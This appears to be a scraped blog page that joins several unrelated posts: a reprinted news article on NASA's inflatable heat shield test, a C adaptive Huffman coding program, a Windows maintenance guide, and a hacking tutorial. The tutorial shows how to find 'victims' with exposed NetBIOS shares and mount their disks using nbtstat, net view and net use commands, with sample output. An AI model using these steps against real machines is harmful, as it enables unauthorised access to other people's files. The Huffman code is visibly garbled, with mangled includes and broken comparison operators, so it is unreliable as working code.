An inflatable heat shield was successfully tested on Monday, demonstrating for the first time that these light, flexible devices could be used to protect spacecraft on their way through planets' atmospheres.

Other spacecraft use solid heat shields that either drop away as the spacecraft near the surface, as happened with the Mars rovers, or gradually erode in the atmosphere.

But these solid shields are heavy, and their weight limits the mass of the spacecraft they are designed to protect, since both must launch on the same rocket. Their physical size is also limiting, since the shields must be small enough to fit inside a launch rocket.

Balloon-like shields can in theory sidestep these issues, since they are lightweight and can inflate to relatively large sizes after being folded up during launch. These weight and size savings allow for heavier spacecraft payloads.


The new shield, called the Inflatable Re-entry Vehicle Experiment (IRVE), launched aboard a small rocket on Monday morning from NASA's Wallops Flight Facility on Wallops Island, Virginia. It was the first successful test of an inflatable heat shield.

"We're totally thrilled with the data results we've received," says project manager Mary-Beth Wusk of NASA's Langley Research Center in Hampton, Virginia.

Inflatable mushroom

The launch rocket shot up 218 kilometres in about four minutes before detaching from the 40-kilogram shield. The shield was packed into a 40-centimetre-wide shroud for takeoff, but puffed out to a mushroom-shaped pillow that spanned 3 metres when filled with pressurised nitrogen.

After it parted from the rocket, IRVE and its payload, which included navigation and data-collecting electronics, plunged back into the Earth's atmosphere at hypersonic speeds. Engineers expected it to reach Mach 5, about 1.7 kilometres per second, though they won't be certain of its actual speed until they finish analysing the data.

How hot the shield was when it splashed down in the Atlantic is also uncertain, although Wusk estimates it was over 140° Celsius. The shield is made of several layers of heat-resistant fabric woven from thin strands of ceramics. This covers an inner pouch of silicon-coated Kevlar, which holds the balloon-like shape.

Greater drag

The design resembles a device known as a "ballute", a cross between a balloon and a parachute. Ballutes sport inflatable pouches, like IRVE, but not its flexible outer layer. Several companies and government agencies have worked on ballute and other inflatable shield designs for years, including the firm Andrews Space in Seattle, Washington.

"The NASA test is significant in that it's the most advanced test yet of an inflatable heat shield for re-entry applications," says Jason Andrews, president of Andrews Space.
The Inflatable Re-entry Vehicle Experiment (IRVE) successfully protected its payload as it fell to Earth from an altitude of more than 200 km this week (Image: NASA/Sean Smith)

The Inflatable Re-entry Vehicle Experiment (IRVE) successfully protected its payload as it fell to Earth from an altitude of more than 200 km this week (Image: NASA/Sean Smith)


The temperature the shield can withstand depends on how wide it is, says chief engineer Robert Dillman of Langley. A wider shield slows the craft down more and spreads the heat over a greater surface area.

"It's like if you're swinging a ping-pong paddle through the air edge-on, and then you turn it sideways," he told New Scientist. "That is spreading your energy across more area. The whole item, whether it's a ping-pong paddle or an inflatable, is all exposed to the air."

Heavier payloads

Since inflatable shields can be wider than the rockets used to launch them, they can support more weight than traditional heat shields. Their own low mass also allows spacecraft to carry more or heavier payloads.

"Right now the rigid ones are at the weight limit of what we're trying to send to Mars," Dillman says. "If you want to take larger payloads to Mars, they'll have to either do something quite creative or switch to an inflatable."

Dillman says the IRVE could be used for missions to Mars or Titan, or to bring things back to Earth from the International Space Station. "It'll work anywhere with an atmosphere," he says.

But to get there, IRVE will have to face yet more heat. "This was just a demo flight – it didn't have the whole heating you'd get smacking into the atmosphere at interplanetary speed," Dillman says. "We need to do some more development to test larger versions, scale up to something that you could actually use for a payload at Mars."

The team hopes to subject the shield to higher temperatures during the next flight test – which would occur from a higher altitude – in early 2012, says principal investigator Neil Cheatwood of Langley.

Copy Righted to New Scientists
Read More …

/*

I am sorry for the late reply to your queries , this is only for educational purpose please

*/
#include stdlib.h
#include memory.h
#include string.h
#includefcthl.h

#ifdef unix //works with unix applications too
#define __cdecl
#else
#include io.h
#endif
// i used this code for java implementation but did not used in my assignment
// link bit-level I/O

void arc_put1 (unsigned bit);
unsigned arc_get1 ();

// This code is adapted from Professor Vitter's
// article, Design and Analysis of Dynamic Huffman Codes,
// which appeared in JACM October 1987

// A design trade-off has been made to simplify the
// code: a node's block is determined dynamically,
// and the implicit tree structure is maintained,
// e.g. explicit node numbers are also implicit.

// Dynamic huffman table weight ranking
// is maintained per Professor Vitter's
// invariant (*) for algorithm FGK:

// leaves preceed internal nodes of the
// same weight in a non-decreasing ranking
// of weights using implicit node numbers:

// 1) leaves slide over internal nodes, internal nodes
// swap over groups of leaves, leaves are swapped
// into group leader position, but two internal
// nodes never change positions relative
// to one another.

// 2) weights are incremented by 2:
// leaves always have even weight values;
// internal nodes always have odd values.

// 3) even node numbers are always right children;
// odd numbers are left children in the tree.

// node 2 * HuffSize - 1 is always the tree root;
// node HuffEsc is the escape node;

// the tree is initialized by creating an
// escape node as the root.

// each new leaf symbol is paired with a new escape
// node into the previous escape node in the tree,
// until the last symbol which takes over the
// tree position of the escape node, and
// HuffEsc is left at zero.

// overall table size: 2 * HuffSize

// huff_init(alphabet_size, potential symbols used)
// huff_encode(next_symbol)
// next_symbol = huff_decode()

// huff_scale(by_bits) -- scale weights and rebalance tree

typedef struct {
unsigned up, // next node up the tree
down, // pair of down nodes
symbol, // node symbol value
weight; // node weight
} HTable;

typedef struct {
unsigned esc, // the current tree height
root, // the root of the tree
size, // the alphabet size
*map; // mapping for symbols to nodes
HTable table[1]; // the coding table starts here
} HCoder;

// initialize an adaptive coder
// for alphabet size, and count
// of nodes to be used

HCoder *huff_init (unsigned size, unsigned root)
{
HCoder *huff;

// default: all alphabet symbols are used

if( !root || root > size )
root = size;

// create the initial escape node
// at the tree root

if( root <<= 1 ) root--; huff = malloc (root * sizeof(HTable) + sizeof(HCoder)); memset (huff->table + 1, 0, root * sizeof(HTable));
memset (huff, 0, sizeof(HCoder));

if( huff->size = size )
huff->map = calloc (size, sizeof(unsigned));

huff->esc = huff->root = root;
return huff;
}

// split escape node to incorporate new symbol

unsigned huff_split (HCoder *huff, unsigned symbol)
{
unsigned pair, node;

// is the tree already full???

if( pair = huff->esc )
huff->esc--;
else
return 0;

// if this is the last symbol, it moves into
// the escape node's old position, and
// huff->esc is set to zero.

// otherwise, the escape node is promoted to
// parent a new escape node and the new symbol.

if( node = huff->esc ) {
huff->table[pair].down = node;
huff->table[pair].weight = 1;
huff->table[node].up = pair;
huff->esc--;
} else
pair = 0, node = 1;

// initialize the new symbol node

huff->table[node].symbol = symbol;
huff->table[node].weight = 0;
huff->table[node].down = 0;
huff->map[symbol] = node;

// initialize a new escape node.

huff->table[huff->esc].weight = 0;
huff->table[huff->esc].down = 0;
huff->table[huff->esc].up = pair;
return node;
}

// swap leaf to group leader position
// return symbol's new node

unsigned huff_leader (HCoder *huff, unsigned node)
{
unsigned weight = huff->table[node].weight;
unsigned leader = node, prev, symbol;

while( weight == huff->table[leader + 1].weight )
leader++;

if( leader == node )
return node;

// swap the leaf nodes

symbol = huff->table[node].symbol;
prev = huff->table[leader].symbol;

huff->table[leader].symbol = symbol;
huff->table[node].symbol = prev;
huff->map[symbol] = leader;
huff->map[prev] = node;
return leader;
}

// slide internal node up over all leaves of equal weight;
// or exchange leaf with next smaller weight internal node

// return node's new position

unsigned huff_slide (HCoder *huff, unsigned node)
{
unsigned next = node;
HTable swap[1];

*swap = huff->table[next++];

// if we're sliding an internal node, find the
// highest possible leaf to exchange with

if( swap->weight & 1 )
while( swap->weight > huff->table[next + 1].weight )
next++;

// swap the two nodes

huff->table[node] = huff->table[next];
huff->table[next] = *swap;

huff->table[next].up = huff->table[node].up;
huff->table[node].up = swap->up;

// repair the symbol map and tree structure

if( swap->weight & 1 ) {
huff->table[swap->down].up = next;
huff->table[swap->down - 1].up = next;
huff->map[huff->table[node].symbol] = node;
} else {
huff->table[huff->table[node].down - 1].up = node;
huff->table[huff->table[node].down].up = node;
huff->map[swap->symbol] = next;
}

return next;
}

// increment symbol weight and re balance the tree.

void huff_increment (HCoder *huff, unsigned node)
{
unsigned up;

// obviate swapping a parent with its child:
// increment the leaf and proceed
// directly to its parent.

// otherwise, promote leaf to group leader position in the tree

if( huff->table[node].up == node + 1 )
huff->table[node].weight += 2, node++;
else
node = huff_leader (huff, node);

// increase the weight of each node and slide
// over any smaller weights ahead of it
// until reaching the root

// internal nodes work upwards from
// their initial positions; while
// symbol nodes slide over first,
// then work up from their final
// positions.

while( huff->table[node].weight += 2, up = huff->table[node].up ) {
while( huff->table[node].weight > huff->table[node + 1].weight )
node = huff_slide (huff, node);

if( huff->table[node].weight & 1 )
node = up;
else
node = huff->table[node].up;
}
}

// scale all weights and rebalance the tree

// zero weight nodes are removed from the tree
// by sliding them out the left of the rank list

void huff_scale (HCoder *huff, unsigned bits)
{
unsigned node = huff->esc, weight, prev;

// work up the tree from the escape node
// scaling weights by the value of bits

while( ++node <= huff->root ) {
// recompute the weight of internal nodes;
// slide down and out any unused ones

if( huff->table[node].weight & 1 ) {
if( weight = huff->table[huff->table[node].down].weight & ~1 )
weight += huff->table[huff->table[node].down - 1].weight | 1;

// remove zero weight leaves by incrementing HuffEsc
// and removing them from the symbol map. take care

} else if( !(weight = huff->table[node].weight >> bits & ~1) )
if( huff->map[huff->table[node].symbol] = 0, huff->esc++ )
huff->esc++;

// slide the scaled node back down over any
// previous nodes with larger weights

huff->table[node].weight = weight;
prev = node;

while( weight <>table[--prev].weight )
huff_slide (huff, prev);
}

// prepare a new escape node

huff->table[huff->esc].down = 0;
}

// send the bits for an escaped symbol

void huff_sendid (HCoder *huff, unsigned symbol)
{
unsigned empty = 0, max;

// count the number of empty symbols
// before the symbol in the table

while( symbol-- )
if( !huff->map[symbol] )
empty++;

// send LSB of this count first, using
// as many bits as are required for
// the maximum possible count

if( max = huff->size - (huff->root - huff->esc) / 2 - 1 )
do arc_put1 (empty & 1), empty >>= 1;
while( max >>= 1 );
}

// encode the next symbol

void huff_encode (HCoder *huff, unsigned symbol)
{
unsigned emit = 1, bit;
unsigned up, idx, node;

if( symbol <>size )
node = huff->map[symbol];
else
return;

// for a new symbol, direct the receiver to the escape node
// but refuse input if table is already full.

if( !(idx = node) )
if( !(idx = huff->esc) )
return;

// accumulate the code bits by
// working up the tree from
// the node to the root

while( up = huff->table[idx].up )
emit <<= 1, emit |= idx & 1, idx = up; // send the code, root selector bit first while( bit = emit & 1, emit >>= 1 )
arc_put1 (bit);

// send identification and incorporate
// new symbols into the tree

if( !node )
huff_sendid(huff, symbol), node = huff_split(huff, symbol);

// adjust and re-balance the tree

huff_increment (huff, node);
}

// read the identification bits
// for an escaped symbol

unsigned huff_readid (HCoder *huff)
{
unsigned empty = 0, bit = 1, max, symbol;

// receive the symbol, LSB first, reading
// only the number of bits necessary to
// transmit the maximum possible symbol value

if( max = huff->size - (huff->root - huff->esc) / 2 - 1 )
do empty |= arc_get1 () ? bit : 0, bit <<= 1; while( max >>= 1 );

// the count is of unmapped symbols
// in the table before the new one

for( symbol = 0; symbol <>size; symbol++ )
if( !huff->map[symbol] )
if( !empty-- )
return symbol;

// oops! our count is too big, either due
// to a bit error, or a short node count
// given to huff_init.

return 0;
}

// decode the next symbol

unsigned huff_decode (HCoder *huff)
{
unsigned node = huff->root;
unsigned symbol, down;

// work down the tree from the root
// until reaching either a leaf
// or the escape node. A one
// bit means go left, a zero
// means go right.

while( down = huff->table[node].down )
if( arc_get1 () )
node = down - 1; // the left child preceeds the right child
else
node = down;

// sent to the escape node???
// refuse to add to a full tree

if( node == huff->esc )
if( huff->esc )
symbol = huff_readid (huff), node = huff_split (huff, symbol);
else
return 0;
else
symbol = huff->table[node].symbol;

// increment weights and rebalance
// the coding tree

huff_increment (huff, node);
return symbol;
}

#ifdef HUFFSTANDALONE

#include

FILE *In = stdin, *Out = stdout;
unsigned char ArcBit = 0;
int ArcChar = 0;

int main (int argc, char **argv)
{
int mode, size, symbol;
unsigned mask = ~0;
HCoder *huff;

if( argc > 1 )
mode = argv[1][0], argv[1]++;
else {
printf ("Usage: %s [cdtls]nn infile outfile\nnn -- alphabet size\ninfile -- source file\noutfile -- output file", argv[0]);
return 1;
}

if( argv[1][0] == 's' )
argv[1]++, mask = 8191;

if( argc > 3 )
if( !(Out = fopen (argv[3], "w")) )
return 1;

#ifndef unix
_setmode (_fileno (Out), _O_BINARY);
#endif

// literal text

if( mode == 'l' ) {
if( !(size = atoi (argv[1])) )
size = 256;

huff = huff_init (256, size);
putc (size >> 8, Out);
putc (size, Out);

size = strlen (argv[2]);
putc (size >> 16, Out);
putc (size >> 8, Out);
putc (size, Out);

while( symbol = *argv[2]++ )
huff_encode(huff, symbol);

while( ArcBit ) // flush last few bits
arc_put1 (0);

return 0;
}

// alphabet fill

if( mode == 't' ) {
if( !(size = atoi (argv[1])) )
size = 256;

huff = huff_init (256, size);
putc (size >> 8, Out);
putc (size, Out);

putc (size >> 16, Out);
putc (size >> 8, Out);
putc (size, Out);

for( symbol = 0; symbol <>
huff_encode(huff, symbol);

while( ArcBit ) // flush last few bits
arc_put1 (0);

return 0;
}

if( argc > 2 )
if( !(In = fopen (argv[2], "r")) )
return 1;

#ifndef unix
_setmode (_fileno (In), _O_BINARY);
#endif

// decompression

if( mode == 'd' ) {
size = getc(In) <<>
size |= getc(In);

huff = huff_init (256, size);

size = getc(In) <<>
size |= getc(In) <<>
size |= getc(In);

while( size )
if( symbol = huff_decode(huff), putc (symbol, Out), size-- & mask )
continue;
else
huff_scale(huff, 1);

return 0;
}

// compression

if( !(size = atoi (argv[1])) )
size = 256;

huff = huff_init (256, size);
putc (size >> 8, Out);
putc (size, Out);

fseek(In, 0, 2);
size = ftell(In);
fseek (In, 0, 0);

putc (size >> 16, Out);
putc (size >> 8, Out);
putc (size, Out);

while( size )
if( symbol = getc(In), huff_encode(huff, symbol), size-- & mask )
continue;
else
huff_scale(huff, 1);

while( ArcBit ) // flush last few bits
arc_put1 (0);

return 0;
}

void arc_put1 (unsigned bit)
{
ArcChar <<= 1; if( bit ) ArcChar |= 1; if( ++ArcBit <>
return;

putc (ArcChar, Out);
ArcChar = ArcBit = 0;
}

unsigned arc_get1 ()
{
if( !ArcBit )
ArcChar = getc (In), ArcBit = 8;

return ArcChar >> --ArcBit & 1;
}
#endif

If u didnt understand something please drop a line in a comments
Read More …

Categories:

Okay we understand how the network works, now we will see who are potetial victims.
WHAT YOU NEED TO HACK:
All you need is a Windows based operating system like Windows 98 and Me (but I prefer Windows NT, 2000, XP) and an internet connection.
TYPES OF ATTACKS:
1. Reading/Writing to a remote computer system.
2. Denial of Service.

Searching for a victim:
You may manually search for the victims by first using the nbtstat -a ipaddress and then net view \\ipaddress . If at first you don't succeed step to next ip address until you find a suitable ip address. You may also use a port scanner .A port scanner is simply a software that can search for any block of ip address say 192.168.0.1 to 192.168.0.255 for one or more ports. "Orge" is a port scanner that gives NetBIOS names of the remote computer.
Lets Hack -Part 1 Remotely reading/writing to a victiim's computer:




Believe it or not but NetBIOS is the easiest method to break into somebody's computer. However there is a condition that must be satisfied before you can hack. The condition is that the victim must have enabled File And Printer Sharing on his computer. If the victim has enabled it , the nbtstat command will display one more NetBIOS name. Now lets us take a example. Suppose you know a ip address that has enabled File And Printer Sharing and let suppose the ip address happens to be 203.195.136.156 . If you don't the ip address where File and Printer Sharing is enabled read "Searching for a victim".The command that you will use to view the NetBIOS name is

c:\windows>nbtstat -a 203.195.136.156

Let suppose that the output comes out to be

NetBIOS Remote Machine Name Table

Name Type Status
-------------------------------------------------------------------------------------------------
user <00> UNIQUE Registered
workgroup <00> GROUP Registered
user <03> UNIQUE Registered
user <20> UNIQUE Registered

MAC Address = 00-02-44-14-23-E6


The number <20> shows that the victim has enabled the File And Printer Sharing.

-------------------------------------------------------------------------------------------------------------------------------------------------------------

NOTE - If you do not get this number there are two possibilities

1. You do not get the number <20> . This shows that the victim has not enabled the File And Printer Sharing .

2. You get "Host Not found" . This shows that the port 139 is closed or the ip address doesn't exists.

---------------------------------------------------------------------------------------------------------

Now our next step would be to view the drive or folders the victim is sharing.

We will use command

c:\windows>net view \\203.195.136.156

Let suppose we get the following output

Shared resources at \\203.195.136.156
ComputerNameGoesHere

Share name Type Used as Comment

-----------------------------------------------------------------------------------------------
CDISK Disk

The command completed successfully.


"DISK" shows that the victim is sharing a Disk named as CDISK . You may also get some additional information like


Shared resources at \\203.195.136.156

ComputerNameGoesHere

Share name Type Used as Comment

-----------------------------------------------------------------------------------------------
HP-6L Print

"Print " shows that the victim is sharing a printer named as HP-6L

If we are able to share the victims hard disks or folders or printers we will be able to read write to the folders or hard disks or we may also be able to print anything on a remote printer ! Now let us share the victims computer's hard disk or printer.

Till now we know that there is a computer whose ip address happens to be 203.195.136.156 and on that computer File and printer sharing is enabled and the victim's hard disk 's name is CDISK.

Now we will connect our computer to that hard disk . After we have connected successfully a drive will be created on our computer and on double clicking on it we will be able to view the contents of the drive. If we have connected our newly formed drive to the victim's share name CDISK it means that we our drive will have the same contents as that of the CDISK .

Lets do it.

We will use the NET command to do our work .

Let suppose we want to make a drive k: on our computer and connect it to victim's share we will issue the command

c:\windows>net use k: \\203.195.136.156\CDISK

You may replace k letter by any other letter.

If the command is successful we will get the confirmation - The command was completed successfullly

The command was completed successfully

Now just double click on the My Computer icon on your desktop and you will be a happy hacker!

We have just crested a new drive k: . Just double click on it and you will find that you are able to access the remote computer's hard disk. Enjoy your first hack!



Read More …

Working off a slow, disorganized computer can be frustrating—and it happens to the best of us. This article is designed to give you some easy-to-follow guidelines on how to keep your computer on the right track using tools in Microsoft Windows Vista and Microsoft Windows XP.

1. Organize your folders:


We all know how easy it is to dump files into the wrong folder when we're in a hurry. But one way to make sure you'll keep your files organized is to remove the clutter with a filing system that makes sense for the way you use your computer. Here are a few tips to get you started..


  • Start clean
Begin by deciding which files you no longer need on your hard drive.

  • Think it through
Take the time to plan the best way to organize your files. How do you spend your time on the computer and what do you create? Do you work with photos and image editing software, surf the Web, write short stories, research school projects, or play games? The folders you create in Documents (called My Documents in Windows XP) can be easily tailored to show you just the kind of data about your files that you need to track.

  • Use subfolders
After you have an idea of the kinds of items you produce and want to save, create folders and subfolders to store your files. Be sure to use logical, easy-to-understand names. For example, within Documents, you might create additional folders called Projects, HR Benefits, and Career. Then, within the Projects folder, you could create subfolders for each different project.


2. Clean up your hard disk:


Now that you've organized your files and folders, and cleaned up your desktop, you can organize the data itself. Windows includes two utilities—Disk Cleanup and Disk Defragmenter—that help you free up more space on your hard drive and help your computer work more efficiently.

  • Disk Cleanup compresses your old files so you can free up storage space.

  • Disk Defragmenter scans your hard drive and consolidates files that may be scattered across the disk

Not sure how often to run these utilities? It's really up to you—some people like to run both weekly, others prefer monthly, and a few only run them every few months. It's not a bad idea to do both at least once a month. Windows Vista users take note: Disk Defragmenter is automatically scheduled to run once a week (Sunday at 4 a.m.). You can change the scheduled time for this feature or turn it off, if you prefer.

To find both programs, click Start, point to All Programs, then point to Accessories, and then choose System Tools.


3. Use System Restore


System Restore is one of those programs that can be a life-saver when you've been the unfortunate recipient of unstable software, a badly timed power outage, or a damaging thunderstorm. System Restore records important documents, settings, and preferences on your computer. If the unthinkable happens and your computer files are damaged or inaccessible, you can use System Restore to restore your computer back the same state it was in before the data was lost.

System Restore creates restore points daily, and whenever you install device drivers, automatic updates, and some applications. Still, it's a good idea to get into the habit of creating a system checkpoint (called a restore point) whether you're about to install new software, or take any action you suspect might make your computer unstable. That way, if there's any conflict at all, you can restore your computer to the point just before you began the installation.

To use System Restore:

  1. Click Start, and choose All Programs.
  2. Point to Accessories, then point to System Tools, and then choose System Restore.
  3. When the program begins, choose Create a restore point and click Next.
  4. Enter a description of the restore point and click Create. After a few seconds, the program will tell you the date, time, and description of the new restore point.
  5. Click Close to exit System Restore.



4. Keep Windows and Office up-to-date


Computer programs are continually improved based on customer feedback and continuing product testing. As problems are resolved, you should benefit from those improvements. By checking Microsoft Update regularly, you can make sure you've got the most recent Windows and Office improvements available to you.

If you're using Windows XP, visit Microsoft Update to start the update process. If it's your first time to visit Microsoft Update, you might need to sign up to the service. Windows Vista users don't need to sign up for Microsoft Update: an account is automatically created for you during the registration process.


5. Run antivirus software AND a spyware detection and removal tool


Updating your Windows software is just the first step in keeping your computer safe. Next, you'll want to download and install antivirus software and keep it up to date. Your computer may have come with a free trial of antivirus software, but if you don't renew your subscription, you won't be protected from all the latest threats.

If your computer seems sluggish or if you begin to see lots of pop-up advertisements, even when you're not surfing the Web, your computer may be infected with spyware, adware, or other unwanted software. Learn more about spyware and what it can do to your computer. Fortunately, there's Microsoft Windows Defender, which is included in Windows Vista, and is available as a free download for Microsoft XP SP2. Alternatively, there are other free anti-spyware software programs available.


Read More …